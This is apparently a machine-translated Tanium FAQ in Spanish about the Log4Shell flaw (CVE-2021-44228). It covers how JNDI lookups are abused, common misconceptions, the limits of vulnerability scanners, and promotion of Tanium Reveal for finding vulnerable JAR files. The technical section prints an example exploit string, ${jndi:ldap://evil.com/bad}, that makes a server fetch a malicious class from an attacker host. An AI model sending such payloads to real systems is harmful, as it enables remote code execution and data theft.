El mundo de TI quedó enrollado a fines de 2021 después de la divulgación de una vulnerabilidad crítica en Log4j, una utilidad común de registro basada en Java mantenida por la Fundación de Software Apache. Prácticamente desconocido fuera de la industria, se utiliza en miles de programas a nivel mundial en múltiples sistemas operativos. Con un puntaje CVSS de 10.0, el primer error encontrado en el producto (“Log4Shell”) es tan malo como una vulnerabilidad puede obtenerse. De hecho, Log4j fueron atacados en más de 800 000 ataques dentro de las 72 horas de la publicación de vulnerabilidad.
Como resultado de la enorme inundación de publicidad sobre la vulnerabilidad, los expertos de Tanium han estado inundados de preguntas. ¿Qué es Log4Shell? ¿Cómo se puede explotar? ¿Y cómo pueden responder las organizaciones? Para ahorrar tiempo y ayudar a las organizaciones de todo el mundo a responder y mitigar, hemos recopilado las preguntas más comunes que hemos estado viendo y nuestras respuestas correspondientes a continuación.
¿Qué es CVE-2021-44228 (Log4Shell)?
Log4Shell es una vulnerabilidad de ejecución remota de código (RCE) que permite a un atacante ejecutar el código haciendo que una aplicación escriba en el archivo de registro. Los parámetros ingresados en un campo de texto de aplicación y otros eventos de registro son comunes, lo que es en parte el motivo por el que la vulnerabilidad es tan generalizada.
La biblioteca vulnerable puede estar presente en los sistemas del cliente y no se limita a aplicaciones web públicas.
Las cosas técnicas
Por diseño, Log4j permite que los mensajes contengan referencias a información externa a través de una API llamada JNDI, la interfaz de nombres y directorios de Java. La función JNDI permite acceder a esas referencias externas a través de varios protocolos, incluido el LDAP de acceso a directorios (LDAP).
Cuando un atacante envía una cadena elaborada maliciosamente como ${jndi:ldap://evil.com/bad}, el servidor interpretará ese mensaje para comunicarse con el servidor LDAP (evil.com) y solicitar el objeto “malo”. El servidor evil.com, controlado por un atacante malicioso, indicará a la aplicación que cargue una clase Java maliciosa (bad.class).
Cuando la versión Log4j vulnerable está presente y el atacante controla un servidor LDAP, la clase bad.class puede contener cualquier instrucción que el atacante desee, lo que abre la puerta a una enorme gama de posibles ataques, desde ransomware hasta secuestro de cifrado y robo de información.
Además de RCE, las versiones vulnerables no validan la entrada de la llamada JNDI, lo que potencialmente conduce a la exposición de las variables del sistema a la enumeración y exfiltración.
Ha habido un aumento en las vulnerabilidades de la cadena de suministro de software (p. ej., Struts, NPM). ¿Cómo se acumula Log4J ?
Log4J es similar porque es una vulnerabilidad que las organizaciones no pueden aplicar parches a sí mismas a menos que sea una aplicación creada y mantenida internamente.
Log4J es diferente porque probablemente sea la vulnerabilidad de mayor alcance y gravedad que hemos visto en una década o más y no desaparecerá pronto. Afecta a todos los tipos de sistemas operativos, puede estar en software gratuito/de código abierto, aplicaciones empresariales, clientes, servidores, dispositivos de IoT, casi en cualquier lugar. Puede explotarse de forma remota, aprovecharse para el movimiento lateral y la detección de explotación depende de reglas basadas en firmas que los atacantes omiten constantemente.
Las organizaciones se han visto obligadas a identificar lo que es vulnerable en su patrimonio, luego buscar documentación de los propietarios/desarrolladores de aplicaciones para obtener un parche o mitigación e implementarlo a escala.
¿Cuáles son algunos conceptos erróneos comunes sobre Log4j?
- Es fácil aplicar parches
- Solo afecta los sistemas orientados a Internet
- Las organizaciones pueden aplicar parches a todas las instancias de la vulnerabilidad en sí
- Buscar listas de aplicaciones instaladas por sí sola es suficiente para identificarlas
¿Cómo puede Tanium ayudar a encontrar Log4j instancias?
Parte del motivo por el que Log4Shell es tan peligroso es que Log4j puede ser difícil de encontrar.
Las organizaciones pueden tener cientos de programas instalados en su entorno que aprovechan esta biblioteca. Debido a que la vulnerabilidad existe en la biblioteca utilizada por la aplicación, no pueden modificar la aplicación en sí. Deben esperar a que los proveedores de todo su software evalúen, corrijan y emitan actualizaciones. Además, un escaneo de aplicaciones instaladas o CVE no mostrará evidencia de qué paquetes de software utilizan esta biblioteca.
Tanium Reveal es único en su capacidad para extraer información de archivos. Puede detectar manifest.mf, pom.xml u otras indicaciones de presencia de Log4j dentro de bibliotecas comprimidas. De esta manera, Tanium Reveal es la única solución que puede mirar más allá de un nombre de archivo o extensión y en el archivo en sí. En el caso de CVE-2021-44228, podemos buscar frascos vulnerables (archivos .JAR) dentro de los frascos dentro de los frascos.
Tanium y nuestros socios pueden mostrar a los clientes Log4j instancias que están latentes u ocultas de otras herramientas. Para ayudar, ofrecemos ayuda gratuita para que los clientes nuevos o existentes corrijan e identifiquen la vulnerabilidad.
¿Qué debe hacer una organización cuando Reveal encuentra una posible coincidencia?
Tanium Reveal le mostrará archivos con coincidencias de los patrones, pero eso no es una indicación perfecta de vulnerabilidad. Las técnicas de validación para PHI o PII en Reveal se pueden revisar aquí y en esta documentación. Es posible que una coincidencia de versión Log4j no necesite validación profunda.
Sin embargo, si es necesario, puede pasar rápidamente de los resultados de Reveal a la acción para encontrar el producto del que proviene un archivo sospechoso, verificar la vulnerabilidad de ese proveedor y decidir si debe aplicar parches o eliminarlo.
Tanium tiene múltiples opciones para profundizar e identificar resultados verdaderos/falsos. Estas son sugerencias para cosas que son posibles, pero no son exhaustivas, y dependerán en gran medida del entorno de la organización y los flujos de trabajo/políticas/procesos existentes.
Es importante tener en cuenta que esto no es tanto una respuesta a incidentes como una situación de caza de amenazas. Los próximos pasos dependerán en gran medida de los hallazgos de una organización afectada. SANS tiene una excelente hoja de referencia sobre el modelo PICERL para la respuesta a incidentes aquí. Según este modelo, Tanium Reveal e Index forman parte de los pasos de preparación e identificación.
¿Cómo puede ayudar el escáner de CISA?
El December 21, 2021, CISA publicó una versión de una herramienta de código abierto Log4j Scanner, creada originalmente por fullhunt.io. Aunque es útil, el escáner solo funcionará si lo señala a una ubicación con un endpoint vulnerable y escucha de aplicaciones. Aún podría perderse puntos finales vulnerables debido a las conjeturas sobre cómo se configuran los sistemas.
Incluso si las organizaciones desean aprovechar esta herramienta, aún deben usar Tanium Reveal para aclarar mejor la lista de puntos finales que desean probar. También deben tener en cuenta que este escáner no detectará archivos .JAR vulnerables en el disco o en copias de seguridad, o aquellos que no se ejecutan en el momento del escaneo.
Además, el escáner no ofrece oportunidades para mitigar o implementar parches actualizados para aplicaciones vulnerables. Es otra herramienta importante para ayudar en el esfuerzo por corregir Log4j , pero no debe considerarse como un método autorizado u holístico.
¿Qué hace que el escaneo de vulnerabilidades sea ineficaz por sí solo?
- Las actualizaciones de las definiciones llevan tiempo, y esas definiciones dependen de la divulgación del estado de vulnerabilidad por parte de los proveedores de software
- A menudo se basa en aplicaciones vulnerables conocidas. Log4j, al igual que otras bibliotecas, requerirá una búsqueda profunda a través de capas de software en su entorno para identificar con confianza
- Muchos escáneres de vulnerabilidades utilizan un método de “rocío y oración” de explotación benigna de la vulnerabilidad. Esto solo es parcialmente efectivo. Requiere que los servicios vulnerables escuchen en el puerto que está escaneando. Si la aplicación está inactiva en el disco, esos escáneres no la detectarán.
¿Cómo sabe cuándo ha mitigado la vulnerabilidad Log4j ?
Una vez que haya implementado todos los parches para todas las instancias del software, pero para ese momento, inevitablemente habrá nuevas vulnerabilidades para corregir. Es importante pensar en la seguridad como un proceso, no como una lista de verificación o una tarea que puede tachar como “realizada”. El panorama de amenazas continúa evolucionando. Cada vez que un nuevo activo se una a su red, y cada vez que un investigador identifique un nuevo error, tendrá más para hacer. Es por eso que la capacidad de responder dinámicamente es fundamental. Cambie la cultura en torno a permitir que las aplicaciones desactualizadas vivan porque son “críticas”. Necesitamos aceptar el cambio, no el riesgo. La aceptación del riesgo es una estrategia para darle tiempo para coordinar el cambio, no un estado perpetuo.
¿Cuánto tiempo lleva saber que está expuesto?
Las organizaciones pueden implementar Tanium Reveal en cuestión de horas e inmediatamente comenzar a recopilar resultados que luego pueden usar para cambiar su estrategia de investigación y búsqueda.
¿Puedo usar un socio para usar Tanium en el descubrimiento o la corrección de Log4j?
Sí. La mayoría de los socios de Tanium en todo el mundo ya han recibido información y están listos para prestar servicios para ayudar con cualquier aspecto del descubrimiento o la corrección de Log4j o para ayudar a optimizar mejor la pila de seguridad a través de la consolidación y racionalización de herramientas.
¿De qué otra manera puede ayudar Reveal?
Tanium Reveal puede ayudar a descubrir y corregir Log4j de la siguiente manera:
- Descubrimiento de contraseñas expuestas
- Realización de la caza dinámica
¿Qué debo saber sobre la advertencia de la FTC en Log4j?
La Comisión Federal de Comercio (Federal Trade Commission, FTC) ha emitido requisitos para que todas las empresas deben escanear y corregir esta vulnerabilidad porque es tan mala o peor que el error en Apache Struts, que causó la infame filtración de Equifax. La FTC y el CISA reconocen que estamos en tiempo prestado hasta que se descubra una filtración que atraiga los titulares.
Lo más probable es que las organizaciones globales ya se hayan visto comprometidas a través de Log4Shell y los atacantes estén analizando encubiertamente sus redes, exfiltrando datos y organizando ataques adicionales. Pasará mucho tiempo antes de que nos demos cuenta del verdadero impacto de esta vulnerabilidad.
Si tiene más preguntas sobre Log4j o desea aprovechar nuestro servicio gratuito para ayudar a identificar esta vulnerabilidad, comuníquese con nosotros hoy mismo.
Los clientes existentes pueden encontrar información más detallada sobre cómo encontrar y mitigar Log4j en nuestro artículo de Tanium Community. Esta información se actualiza regularmente a medida que surge nueva información.
